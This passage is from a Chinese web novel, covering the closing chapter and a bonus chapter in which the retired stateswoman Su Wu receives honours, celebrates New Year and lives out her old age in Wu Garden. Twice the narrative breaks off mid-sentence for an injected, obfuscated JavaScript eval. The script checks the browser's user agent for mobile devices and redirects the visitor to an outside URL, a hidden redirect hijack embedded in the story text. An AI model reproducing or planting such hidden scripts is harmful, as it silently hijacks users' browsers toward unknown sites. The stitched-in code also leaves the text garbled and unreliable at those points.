景和帝看着苏芜,眼中满是不舍,却也知她半生辛劳,如今想要归宁,亦是情理之中。他沉默许久,终是叹了口气:“苏相半生为大靖,为百姓,功高盖世,朕本想封你为一字并肩王,让你荣宠一生,却知你素来淡泊名利。既你执意归宁,朕便准了,只是朕不舍你离京,便将京郊的芜园赐你,园中亭台楼阁,药圃绣坊皆备,可容你安度余生。朕封你为‘锦宁大长公主’,食邑万户,仪仗同亲王,虽卸官职,却仍可入宮议事,大靖的百姓,永远记着你的恩情。” 苏芜俯身叩首,声音微颤:“臣,谢陛下隆恩。” 景和帝亲自扶起她,眼中含着泪光:“苏相,此去芜园,若有任何需求,只管传信入宫,朕必一一满足。大靖的江山,因你而盛,朕此生,必不负你半生心血。” 苏芜的辞呈,传遍了朝堂,也传遍了京城。满朝文武纷纷上书挽留,百姓们更是自发地聚在宫门外,请求苏芜留任,就连西北的党项部落、南洋的商户,也派人送来书信,恳请苏芜继续执掌商部。只是苏芜去意已决,一一婉拒,只说,盛世已成,当让贤于后辈。 大年三十,除夕。 芜园里张灯结彩,红绸挂在亭台楼阁之间,雪光映着红灯,暖融融的。园中的正厅里,摆着一大桌宴席,温庭远、青禾、王大、赵老、林薇,还有惜春坊的几位老绣娘,惠民商社的几位老掌柜,皆是苏芜半生相伴的人,如今齐聚一堂,共度除夕。 温庭远端着酒杯,站起身来,对着苏芜笑道:“苏芜,今日除夕,亦是你归宁之日,老臣敬你一杯。半生风雨,你从尘泥里走出,一手缔造大靖盛世,一手撑起寒门与女子的天,这份功绩,千古无二。愿你此后,芜园安度,锦岁长明。” 众人皆起身,端着酒杯,齐声道:“愿相爷(苏姑娘)芜园安度,锦岁长明!” 苏芜也端起酒杯,看着眼前的众人,眼中满是暖意与感动。数十年的相伴,他们从陌路到亲人,从风雨同舟到盛世同欢,这半生的路,若没有他们,她走不到今日。她举杯,一饮而尽:“多谢诸位,半生相伴,不离不弃。这杯酒,敬过往,敬盛世,敬我们,岁岁年年,皆能平安顺遂。” 酒过三巡,菜过五味,青禾牵着几个惜春坊的小孤女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青禾始终陪伴在苏芜身边,打理着芜园的一切,偶尔会去京城的惜春坊与惠民商社看看,将最新的消息告诉苏芜。王大依旧统领着芜锦卫,只是芜锦卫的职责,从护驾平乱,变成了守护各地的惜春坊与惠民商社,成为了寒门百姓与孤女的守护者。赵老将惠民商社的事务交予了寒门出身的后辈,自己则居于京城的惠民商社总坛,偶尔会来芜园,与苏芜闲谈商情。林薇则统领着全国的惜春坊,将苏芜的理念,传遍了大靖的每一个角落,让更多的孤女,有了枝可依。 数年后,苏芜年过半百,依旧精神矍铄。芜园的药圃里,种满了草药,绣坊里,总有孤女的欢声笑语。每年的新年,各地的惜春坊与惠民商社,都会派人来芜园拜年,带来各地的消息:江南的绣品卖到了西洋,西北的良马成为了大靖的军资,岭南的市舶司千帆竞渡,京城的义学里,寒门子弟济济一堂,惜春坊的孤女,有的成了官署的主事,有的成了南洋的商户,有的成了西北的绣坊师傅,皆活成了自己想要的模样。 这一日,春日融融,芜园的桃花开得正盛。苏芜坐在桃花树下,看着几个小孤女在绣坊里刺绣,青禾端着一杯清茶,走到她身边,轻声道:“苏姑娘,景和帝派人来报,说今年的科举,特开了女科,允许女子参加科举,入朝为官。” 苏芜接过清茶,喝了一口,桃花落在她的杯沿,眉眼间满是温柔的笑意:“好,好啊。” 这便是她最终的心愿。女子不必再依附男子,不必再困于深宅,可读书,可科举,可入朝,可经商,可凭着自己的努力,活成任何想要的模样。这盛世,不仅是国泰民安的盛世,更是人人平等的盛世,是寒门有希望,女子有未来的盛世。 桃花纷飞,落了苏芜一身,她抬手拂去肩上的花瓣,目光望向远方的天空,眼中满是平和与安宁。 半生风雨,半生荣光,她从尘泥里走来,活成了自己的光,也活成了万千人的光。她用自己的一生,诠释了什么是真正的独立,什么是真正的强大,什么是真正的巾帼传奇。 而她缔造的盛世,她种下的希望,如这满园的桃花,岁岁年年,常开不败;如这大靖的江山,千秋万代,锦绣长明。 尘间玉碎,终得重圆;盛世锦绣,岁岁长明。 这便是苏芜的一生,一曲属于寒门女子的传奇,一曲属于大靖盛世的赞歌,在岁月的长河中,缓缓流淌,永不落幕。 11. 岁岁年年,春满芜园[番外] 景和十五年,春分。 京郊的芜园,早被春日揉得软润。十里桃林开得如云似霞,粉白的花瓣簌簌落在青石路上,沾了朝露的清甜;药圃里的薄荷、艾草冒了新绿,嫩生生的叶尖挑着水珠;绣坊的窗棂敞着,穿针引线的脆响混着少女们的笑语,飘得满园都是。 苏芜年近花甲,鬓边染了霜白,却依旧精神矍铄。她坐在桃树下的石桌旁,手捧一卷泛黄的《商政辑要》,指尖轻轻拂过书页上的批注——那是她当年执掌商部时,一字一句写下的新政细则,如今已成了大靖商署的必读典籍。石桌上摆着一杯温茶,水汽袅袅,映着她平和的眉眼,岁月在她脸上刻下的,不是沧桑,而是阅尽千帆后的温润。 “师姑,您歇会儿吧,这书看了一上午了。”一个梳着双丫髻的小姑娘端着一碟桃花酥走来,眉眼弯弯,正是惜春坊今年送来芜园学绣的孤女,名唤桃夭。她将桃花酥放在石桌上,又替苏芜添了热茶,“青禾姑姑说,春日里不宜久坐,让您去绣坊看看我们新绣的‘百鸟朝凤图’。” 苏芜合上书,笑着揉了揉桃夭的发顶:“倒是难为青禾,总记着这些。” 桃夭挽着她的胳膊起身,叽叽喳喳地说着绣坊的新鲜事:“师姑,您不知道,林薇姑姑昨天从江南来,带来了苏州惜春坊的新绣样,那苏绣的针脚细得跟牛毛似的,我们看了都惊着了!还有,惠民商社的王叔派人送了新茶,说是今年西湖的明前龙井,就给您留了两斤呢!” 苏芜听着,嘴角的笑意不曾散去。这些年,那些相伴半生的人,依旧把她放在心上。 青禾就守在芜园,鬓边也添了白发,却依旧手脚麻利,将园子里的大小事务打理得井井有条。她不再是当年那个跟在苏芜身后的小侍女,而是成了芜园的主母,成了所有惜春坊孤女的“青禾姑姑”,替苏芜照看着这一方天地,也照看着那些如当年的她们一般,渴望有枝可依的女孩。 王大依旧统领着芜锦卫,只是早已不复当年的骁勇,脊背微驼,却依旧每日亲自巡查各地的惜春坊与惠民商社。他总说,苏相把这些孩子和商户交给他,他便要守到闭眼的那天。每年春分,他都会亲自送最新的茶酒来芜园,陪苏芜坐一坐,说些外头的事,话不多,却都是真心。 赵老已是耄耋之年,腿脚不便,便长居京城惠民商社总坛,却依旧记挂着苏芜。每年商部的新政明细、各地商情的汇总,他都会让人仔仔细细抄一份送到芜园,哪怕知道苏芜早已不问朝政,却还是想让她看看,她当年一手缔造的商业盛世,如今愈发繁茂。 林薇则成了全国惜春坊的总领,常年奔走在各地,将苏芜的理念刻进每一处惜春坊。她为孤女们建绣坊、开药铺、设商学,教她们技艺,更教她们独立——就像当年苏芜教她的那样。江南的绣娘、岭南的药姑、西北的商女,皆认她这个“林统领”,也皆念着芜园里的那位苏师姑。 温庭远归居江南后,便在苏州惜春坊旁建了一处小园,每日养花种草,与惜春坊的老绣娘闲谈。他与苏芜偶有书信往来,信中从无朝政,只说江南的烟雨、苏州的绣品、园子里的新茶。去年冬日,他派人送来一幅亲手画的《江南春早图》,画中烟雨楼台,惜春坊的绣娘在廊下刺绣,眉眼温柔,题字曰:“盛世如你所愿,余生安度便好。” 苏芜走到绣坊前,推开门,暖意扑面而来。十几名少女围坐在绣架旁,手中的丝线翻飞,五彩的绣线在素色的锦缎上勾勒出百鸟朝凤的模样,针脚细密,栩栩如生。林薇正站在一旁指点,见苏芜进来,连忙上前见礼:“师姑。” 少女们也纷纷起身,齐声唤道:“苏师姑。” 苏芜摆了摆手,让她们继续绣,自己走到一个绣架旁,看着锦缎上的凤凰,指尖轻轻点在一处针脚:“这里的盘金绣,线可以再松一点,凤凰的尾羽才会有飘逸的模样。” 那绣娘连忙点头,依着苏芜的指点调整针脚,果然,凤凰的尾羽瞬间生动了许多。少女们围过来,听苏芜讲绣技,讲当年她在锦绣阁做杂役时,如何偷偷学绣,如何靠着一根绣针,走出了第一步。 苏芜讲得平淡,少女们却听得入神。她们知道,眼前这位温和的老人,便是那名震天下的锦宁大长公主,是大靖第一位女尚书、女宰辅,是一手缔造盛世的巾帼传奇。可在她们眼里,她只是苏师姑,是教她们绣技、教她们做人,给她们一个家的老人。 晌午时分,芜园的门被推开,景和帝带着太子微服而来。如今的景和帝已是沉稳的帝王,将大靖治理得愈发繁荣,太子年方十岁,眉眼间有景和帝的沉稳,也有少年的灵动。 君臣相见,无甚繁文缛节,景和帝亲自扶着苏芜坐下,笑道:“皇姑母,朕今日带太子来,一是陪您坐坐,二是让太子学学,何为真正的家国天下。” 太子规规矩矩地给苏芜行礼,脆声道:“皇姑祖母安。” 苏芜笑着拉过太子的手,摸了摸他的头:“陛下有心了。太子天资聪颖,将来必是明君。” 几人坐在桃树下,闲谈家常。景和帝说起今年的朝事:女科科举已开了十余年,如今朝堂之上,已有三位女官位列五品,各地的官署、商署,女子主事者数不胜数;惠民商社的商船已开到了西洋,大靖的绣品、瓷器在西洋大受欢迎,西洋的珍宝、作物也传入大靖,百姓的日子愈发红火;西北党项部落已完全融入大靖,拓跋氏的子弟在朝为官,与汉民通婚,亲如一家;岭南的海疆安宁,市舶司的千帆竞渡,成了大靖盛世的一道风景。 “这一切,皆是皇姑母半生心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239938|197681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血。”景和帝看着苏芜,眼中满是敬重,“朕常对太子说,大靖的盛世,不是朕一个人的,是皇姑母,是温太傅,是所有为百姓谋福祉的人,一同拼出来的。” 苏芜摇了摇头,目光望向满园的春色,望向绣坊里的少女,望向远方的天地:“这盛世,从不是某一个人的功劳,是君臣同心,是朝野共济,是天下百姓,皆盼着太平,皆愿为盛世出力。我不过是做了自己该做的事,守了自己该守的初心。” 太子歪着头,看着苏芜:“皇姑祖母,您当年做商部尚书,是不是很威风?” 苏芜笑了,想起当年金銮殿上,她身着朝服,手持笏板,与百官议事,与世家抗衡,想起当年南下江南、西征西北,金戈铁马,雷厉风行。那是她的半生,轰轰烈烈,光芒万丈。 可如今,她守着这一方芜园,看着桃花年年开,看着孤女们一个个长大,一个个走出芜园,活成独立的模样,活成自己的光——这平淡的岁月,竟比当年的轰轰烈烈,更让她心安。 “威风吗?”苏芜轻声道,“或许吧。但我如今觉得,看着你们平平安安,看着天下百姓安居乐业,看着这盛世岁岁年年,才是最珍贵的。” 午后的阳光透过桃枝,洒下斑驳的光影,落在石桌上,落在苏芜的发顶,落在太子好奇的眉眼间。绣坊的笑语依旧,药圃的新绿依旧,满园的桃花依旧,岁岁年年,春满芜园。 景和帝带着太子离开时,太子回头看着芜园的桃花,拉着景和帝的手道:“父皇,我以后也要像皇姑祖母一样,做一个为百姓谋福祉的帝王。” 景和帝笑着点头,望向芜园的方向,眼中满是温柔。他知道,苏芜从未真正离开,她的精神,她的初心,早已融进了大靖的万里江山,融进了每一个百姓的心里,融进了这岁岁年年的盛世春光里。 夕阳西下,桃林的花瓣簌簌飘落。苏芜坐在石桌旁,青禾为她添上热茶,林薇陪着她看绣坊的少女收工,桃夭挽着她的胳膊,说着明日要学的新绣样。 晚风拂过,带着桃花的清香,带着绣线的软香,带着岁月的静好。 苏芜抬眸,望向天边的晚霞,晚霞染红了半边天,映着远处的京城,映着大靖的万里江山,一派国泰民安,一派锦绣繁华。 她的一生,从尘泥里走来,历经风雨,终得圆满。她活成了自己的光,也活成了万千人的光;她缔造了盛世,也守护了盛世;她种下了希望,这希望,便在岁岁年年的春光里,常开不败,生生不息。 芜园的桃花,年年岁岁,开得如云似霞。 大靖的盛世,岁岁年年,锦绣长明。 而那些关于她的故事,关于寒门女子的传奇,关于盛世的赞歌,也将在岁月的长河中,永远流传,永不落幕。